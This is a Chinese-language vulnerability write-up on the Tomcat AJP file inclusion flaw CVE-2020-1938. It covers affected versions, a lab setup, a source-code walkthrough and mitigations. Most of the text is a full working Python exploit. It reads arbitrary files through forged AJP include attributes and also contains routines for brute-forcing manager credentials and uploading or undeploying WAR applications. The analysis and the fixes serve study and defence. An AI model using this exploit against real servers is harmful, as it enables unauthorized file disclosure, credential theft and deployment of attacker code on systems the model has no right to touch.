Tomcat 本地文件包含漏洞 (CVE-2020-1938)

漏洞简介

Tomcat 是常见的Web 容器, 用户量非常巨大, Tomcat 8009 ajp端口一直是默认开放的

影响组件

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.51

Apache Tomcat 9 < 9.0.31

漏洞指纹

tomcat

8009

ajp

\x04\x01\xf4\x00\x15

漏洞分析

Jdk安装

https://www.oracle.com/java/technologies/javase-jdk8-downloads.html中选择对应版本进行安装

设置java环境变量

在电脑中右键属性->高级系统设置->高级->环境变量

依次设置变量

JAVA_HOME
D:\jdk

JRE_HOME
D:\jdk\jre

CLASSPATH
%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar

查看是否环境变量是否配置好

Java -version

Tomcat7安装

在官网中点击Archives

我是64位windows所以选择64位的文件即可

在tomcat目录下的bin文件下的startup.bat启动

这个窗口不要关闭，浏览器输入127.0.0.1:8080即可

先给上poc

#!/usr/bin/env python
from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from pprint import pprint, pformat

import socket
import argparse
import logging
import re
import os
from StringIO import StringIO
import logging
from colorlog import ColoredFormatter
from urllib import unquote


def setup_logger():
    """Return a logger with a default ColoredFormatter."""
    formatter = ColoredFormatter(
        "[%(asctime)s.%(msecs)03d] %(log_color)s%(levelname)-8s%(reset)s %(white)s%(message)s",
        datefmt="%Y-%m-%d %H:%M:%S",
        reset=True,
        log_colors={
            'DEBUG': 'bold_purple',
            'INFO': 'bold_green',
            'WARNING': 'bold_yellow',
            'ERROR': 'bold_red',
            'CRITICAL': 'bold_red',
        }
    )

    logger = logging.getLogger('meow')
    handler = logging.StreamHandler()
    handler.setFormatter(formatter)
    logger.addHandler(handler)
    logger.setLevel(logging.DEBUG)

    return logger


logger = setup_logger()


# helpers
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False

    fr.attributes = []

    return fr


class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb", bufsize=0)

    def test_password(self, user, password):
        res = False
        stop = False
        self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode(
            'base64').replace('\n', '')
        while not stop:
            logger.debug("testing %s:%s" % (user, password))
            responses = self.forward_request.send_and_receive(self.socket, self.stream)
            snd_hdrs_res = responses[0]
            if snd_hdrs_res.http_status_code == 404:
                raise NotFoundException("The req_uri %s does not exist!" % self.req_uri)
            elif snd_hdrs_res.http_status_code == 302:
                self.req_uri = snd_hdrs_res.response_headers.get('Location', '')
                logger.info("Redirecting to %s" % self.req_uri)
                self.forward_request.req_uri = self.req_uri
            elif snd_hdrs_res.http_status_code == 200:
                logger.info("Found valid credz: %s:%s" % (user, password))
                res = True
                stop = True
                if 'Set-Cookie' in snd_hdrs_res.response_headers:
                    logger.info("Here is your cookie: %s" % (snd_hdrs_res.response_headers.get('Set-Cookie', '')))
            elif snd_hdrs_res.http_status_code == 403:
                logger.info("Found valid credz: %s:%s but the user is not authorized to access this resource" % (
                    user, password))
                stop = True
            elif snd_hdrs_res.http_status_code == 401:
                stop = True

        return res

    def start_bruteforce(self, users, passwords, req_uri, autostop):
        logger.info("Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri)

        f_users = open(users, "r")
        f_passwords = open(passwords, "r")

        valid_credz = []
        try:
            for user in f_users:
                f_passwords.seek(0, 0)
                for password in f_passwords:
                    if autostop and len(valid_credz) > 0:
                        self.socket.close()
                        return valid_credz

                    user = user.rstrip('\n')
                    password = password.rstrip('\n')
                    if self.test_password(user, password):
                        valid_credz.append((user, password))
        except NotFoundException as e:
            logger.fatal(e.message)
        finally:
            logger.debug("Closing socket...")
            self.socket.close()
            return valid_credz

    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
                                                           method=AjpForwardRequest.REQUEST_METHODS.get(method))
        logger.debug("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + (
                    "%s:%s" % (user, password)).encode('base64').replace('\n', '')

        for h in headers:
            self.forward_request.request_headers[h] = headers[h]

        for a in attributes:
            self.forward_request.attributes.append(a)

        responses = self.forward_request.send_and_receive(self.socket, self.stream)
        print(responses)
        if len(responses) == 0:
            return None, None

        snd_hdrs_res = responses[0]

        data_res = responses[1:-1]
        if len(data_res) == 0:
            logger.info("No data in response. Headers:\n %s" % pformat(vars(snd_hdrs_res)))

        return snd_hdrs_res, data_res

    def upload(self, filename, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        with open(filename, "rb") as f_input:
            with open("/tmp/request", "w+b") as f:
                s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="deployWar"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % os.path.basename(
                    filename)
                s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n'
                f.write(s_form_header)
                f.write(f_input.read())
                f.write(s_form_footer)

        data_len = os.path.getsize("/tmp/request")

        headers = {
            "SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti",
            "SC_REQ_CONTENT_LENGTH": "%d" % data_len,
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "12345")}]
        if old_version == False:
            attributes.append({"name": "query_string", "value": deploy_csrf_token})
        old_apps = self.list_installed_applications(user, password, old_version)
        r = self.perform_request("/manager/html/upload", headers=headers, method="POST", user=user, password=password,
                                 attributes=attributes)

        with open("/tmp/request", "rb") as f:
            br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)
            br.send_and_receive(self.socket, self.stream)

        r = AjpResponse.receive(self.stream)
        if r.prefix_code == AjpResponse.END_RESPONSE:
            logger.error('Upload failed')

        while r.prefix_code != AjpResponse.END_RESPONSE:
            r = AjpResponse.receive(self.stream)
        logger.debug('Upload seems normal. Checking...')
        new_apps = self.list_installed_applications(user, password, old_version)
        if len(new_apps) == len(old_apps) + 1 and new_apps[:-1] == old_apps:
            logger.info('Upload success!')
        else:
            logger.error('Upload failed')

    def get_error_page(self):
        return self.perform_request("/blablablablabla")

    def get_version(self):
        hdrs, data = self.get_error_page()
        for d in data:
            s = re.findall('(Apache Tomcat/[0-9\.]+) ', d.data)
            if len(s) > 0:
                return s[0]

    def get_csrf_token(self, user, password, old_version, headers={}, query=[]):
        # first we request the manager page to get the CSRF token
        hdrs, rdata = self.perform_request("/manager/html", headers=headers, user=user, password=password)
        deploy_csrf_token = re.findall('(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"',
                                       "".join([d.data for d in rdata]))
        if old_version == False:
            if len(deploy_csrf_token) == 0:
                logger.critical("Failed to get CSRF token. Check the credentials")
                return

            logger.debug('CSRF token = %s' % deploy_csrf_token[0])
        obj = re.match("(?P<cookie>JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly",
                       hdrs.response_headers.get('Set-Cookie', ''))
        if obj is not None:
            return deploy_csrf_token[0], obj
        return deploy_csrf_token[0], None

    def list_installed_applications(self, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        headers = {
            "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
            "SC_REQ_CONTENT_LENGTH": "0",
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute",
                       "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
        if old_version == False:
            attributes.append({
                "name": "query_string", "value": "%s" % deploy_csrf_token})
        hdrs, data = self.perform_request("/manager/html/", headers=headers, method="GET", user=user, password=password,
                                          attributes=attributes)
        found = []
        for d in data:
            im = re.findall('/manager/html/expire\?path=([^&]*)&', d.data)
            for app in im:
                found.append(unquote(app))
        return found

    def undeploy(self, path, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        path_app = "path=%s" % path
        headers = {
            "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
            "SC_REQ_CONTENT_LENGTH": "0",
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute",
                       "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
        if old_version == False:
            attributes.append({
                "name": "query_string", "value": "%s&%s" % (path_app, deploy_csrf_token)})
        r = self.perform_request("/manager/html/undeploy", headers=headers, method="POST", user=user, password=password,
                                 attributes=attributes)
        r = AjpResponse.receive(self.stream)
        if r.prefix_code == AjpResponse.END_RESPONSE:
            logger.error('Undeploy failed')

        # Check the successful message
        found = False
        regex = r'<small><strong>Message:<\/strong><\/small>&nbsp;<\/td>\s*<td class="row-left"><pre>(OK - .*' + path + ')\s*<\/pre><\/td>'
        while r.prefix_code != AjpResponse.END_RESPONSE:
            r = AjpResponse.receive(self.stream)
            if r.prefix_code == 3:
                f = re.findall(regex, r.data)
                if len(f) > 0:
                    found = True
        if found:
            logger.info('Undeploy succeed')
        else:
            logger.error('Undeploy failed')


if __name__ == "__main__":


    parser = argparse.ArgumentParser()
    parser.add_argument('target', type=str, help="Hostname or IP to attack")
    parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
    parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
    args = parser.parse_args()
    bf = Tomcat(args.target, args.port)
    attributes = [
        {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
        {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
        {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
    ]
    snd_hdrs_res, data_res = bf.perform_request(req_uri='/',method='GET', attributes=attributes)
    print("".join([d.data for d in data_res]))

源码分析

先下载源码

多了java和test就是我们要的源码文件

在apache-tomcat-7.0.0-src\java\org\apache\coyote\ajp\AjpProcessor.java文件中

此时request才刚开始处理

在apache-tomcat-7.0.0-src\java\org\apache\coyote\ajp\AjpAprProtocol.java文件中

request.setAttribute位Tomcat设置任意request属性

在apache-tomcat-7.0.0-src\java\org\apache\catalina\connector\CoyoteAdapter.java文件中

postParseRequest函数进入到Servlet的处理流程

在apache-tomcat-7.0.0-src\java\org\apache\catalina\servlets\DefaultServlet.java文件中

通过DefaultServlet类的getRelativePath方法进行拼接获得path路径

在apache-tomcat-7.0.0-src\java\org\apache\catalina\core\ApplicationContext.java文件中

最后通过getResource方法中造成任意文件读取

在apache-tomcat-7.0.0-src\java\org\apache\jasper\servlet\JspServlet.java文件中

当ajp URL设置位jsp路径时，Tomcat会调用JspServlet的service方法处理

同样会获取javax.servlet.include.path_info、javax.servlet.include.servlet_path这两个属性（经过上面的分析我们已经知道可以通过ajp协议控制这两个属性）。将这两个属性对应的值拼接到jspURi变量中，最后交给serviceJspFile方法处理

防护方法

升级到最新版

屏蔽8009端口对外开放

如果还是要用的话

必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值即可

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>